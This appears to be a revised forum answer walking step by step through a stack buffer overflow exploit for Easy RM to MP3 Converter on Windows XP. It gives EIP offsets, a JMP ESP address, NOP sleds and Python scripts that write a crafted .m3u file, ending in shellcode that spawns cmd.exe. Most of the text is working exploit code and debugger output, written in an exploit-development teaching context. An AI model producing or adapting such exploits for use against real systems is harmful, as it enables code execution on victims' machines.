2 Added shellcode link.
source | link

Different than Corelan and this Exploit-db version. You can find shellcode here.

Different than Corelan and this Exploit-db version.

Different than Corelan and this Exploit-db version. You can find shellcode here.

1
source | link

Let's reverse engineer what happened:

  • Access violation because you try to access 0x00000018
  • Because POP EAX loads register zero
  • It supposed to be FPULastInstructionOpcode according to this x86 instruction set reference

But, look at your ESP value it is starting point of your shellcode. Why? Because you cannot write before that address. On the other hand you use [esp-0Ch] for storing FPU environment.

I tried to run your version and get different error:

first try

Also I tried Corelan version that didn't work either. As you can see things been more complicated in my version.

I can't debug your version of exploit, however I can show you step by step constructing exploit to this vulnerability. I'm using Easy RM to MP3 Converter 2.7.3.700 (setup 2.8 MiB) from this Exploit Database page on my Windows XP Professional SP3 Turkish. First, i created 30000 characters long Mona.py pattern. Attach RM2MP3Converter.exe to Immunity Debugger and loaded our crafted sploit.m3u file.

Program crash with mona pattern

Using Python script pattern.py we can find EIP offset now *:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x48386B48 30000
hex pattern decoded as: Hk8H
5784
26064

Lets look where ESP points in stack:

Follow ESP in stack

You can either use 0Hl1 or hex value:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x316C4830 30000
hex pattern decoded as: 0Hl1
5792
26072

Lets check our findings:

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = "B" * 4
junk2 = "C" * 4
p_esp = "D" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Crash values confirms our pre-exploit:

Analyzing pre-exploit

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = pack("I", 0x77fab277)
junk2 = "C" * 4
p_esp = "\xCC" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Now we need to find JMP ESP in an executable segment. Use this Mona.py command:

!mona find -type instr -s "JMP ESP" -x X

Found lots of "JMP ESP"

from struct import pack

filename = "sploit.m3u"
junk1 = "B" * 4
junk2 = "A" * 26060
s_eip = pack("I", 0x77fab277)
junk3 = "C" * 4
p_esp = "\xCC" * 4

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Thanks to Mona.py we found lots of "jmp esp" in OS libraries. Pick first one at 0x77fab277 address.

000FFD38   CCCCCCCC  ÌÌÌÌ
000FFD3C   00000000  ....
000FFD40   00BC004C  L.¼.
000FFD44   00104A58  XJ.
000FFD48   00000000  ....
000FFD4C   00000000  ....
000FFD50   42424242  BBBB
000FFD54   41414141  AAAA
000FFD58   41414141  AAAA

It hits our interrupt sequence where ESP points out. With little bit more trick we can land our shellcode with additional ADD AH, CL

Nopsled and land on shellcode

This is our Python code:

from struct import pack

filename = "sploit.m3u"
junk1 = ""
junk2 = "\xCC" * 26064
s_eip = pack("I", 0x77fab277)
junk3 = "A" * 4
p_esp = "\x90" * 31

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

After a long debugging session we get:

We get cmd.exe

Python code:

from struct import pack

filename = "sploit.m3u"
junk1 = "F" * 2
junk1 += "B" * 8
junk1 += "\x90" * 20
shellcode = "\x8b\xec\x55\x8b\xec"
shellcode += "\x68\x65\x78\x65\x2F"
shellcode += "\x68\x63\x6d\x64\x2e"
shellcode += "\x8d\x45\xf8\x50\xb8"
shellcode += "\xc7\x93\xc1\x77"
shellcode += "\xff\xd0"
junk2 = "\xCC" * (26064-len(junk1)-len(shellcode))
s_eip = pack("I", 0x77fab277)
junk3 = "\x90" * 35

payload = junk1 + shellcode + junk2 + s_eip + junk3

with open(filename, "wb") as file:
    file.write(payload)

Different than Corelan and this Exploit-db version.

  • We use double "F" to emulate a harmless instruction with remains of data in stack
  • Eight "B" is for remainder, it didn't seem like it is written in anywhere.
  • junk3 is written before shellcode you can use it jumping over data remains.

*Mona only finds first occurrence of sequence.